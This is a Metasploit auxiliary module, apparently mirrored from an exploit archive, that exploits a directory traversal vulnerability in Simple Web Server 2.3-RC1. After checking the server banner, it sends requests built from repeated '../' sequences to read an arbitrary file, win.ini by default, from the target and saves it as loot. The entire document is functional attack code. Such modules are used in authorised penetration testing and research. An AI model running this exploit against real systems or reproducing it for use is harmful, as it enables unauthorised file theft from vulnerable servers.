## https://sploitus.com/exploit?id=PACKETSTORM:181174
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Simple Web Server 2.3-RC1 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in
Simple Web Server 2.3-RC1.
},
'References' =>
[
[ 'CVE', '2002-1864' ],
[ 'OSVDB', '88877' ],
[ 'EDB', '23886' ],
[ 'URL', 'https://seclists.org/bugtraq/2013/Jan/12' ]
],
'Author' =>
[
'CwG GeNiuS',
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2013-01-03'
))
register_options(
[
OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']),
OptInt.new('DEPTH', [true, 'The max traversal depth', 8])
])
end
#
# The web server will actually return two HTTP statuses: A 400 (Bad Request), and the actual
# HTTP status -- the second one is what we want. We cannot use the original update_cmd_parts()
# in Response, because that will only grab the first HTTP status.
#
def parse_status_line(res)
str = res.to_s
status_line = str.scan(/HTTP\/(.+?)\s+(\d+)\s?(.+?)\r?\n?$/)
if status_line.empty?
print_error("Invalid response command string.")
return
elsif status_line.length == 1
proto, code, message = status_line[0]
else
proto, code, message = status_line[1]
end
return message, code.to_i, proto
end
#
# The MSF API cannot parse this weird response
#
def parse_body(res)
str = res.to_s
str.split(/\r\n\r\n/)[2] || ''
end
def is_sws?
res = send_request_raw({'uri'=>'/'})
if res and res.headers['Server'].to_s =~ /PMSoftware\-SWS/
return true
else
return false
end
end
def run_host(ip)
if not is_sws?
print_error("#{ip}:#{rport} - This isn't a Simple Web Server")
return
end
uri = normalize_uri("../"*datastore['DEPTH'], datastore['FILEPATH'])
res = send_request_raw({'uri'=>uri})
if not res
print_error("#{ip}:#{rport} - Request timed out.")
return
end
# The weird HTTP response totally messes up Rex::Proto::Http::Response, HA!
message, code, proto = parse_status_line(res)
body = parse_body(res)
if code == 200
if body.empty?
# HD's likes vprint_* in case it's hitting a large network
vprint_status("#{ip}:#{rport} - File is empty.")
return
end
vprint_line(body)
fname = ::File.basename(datastore['FILEPATH'])
p = store_loot('simplewebserver.file', 'application/octet-stream', ip, body, fname)
print_good("#{ip}:#{rport} - #{fname} stored in: #{p}")
else
print_error("#{ip}:#{rport} - Unable to retrieve file: #{code.to_s} (#{message})")
end
end
end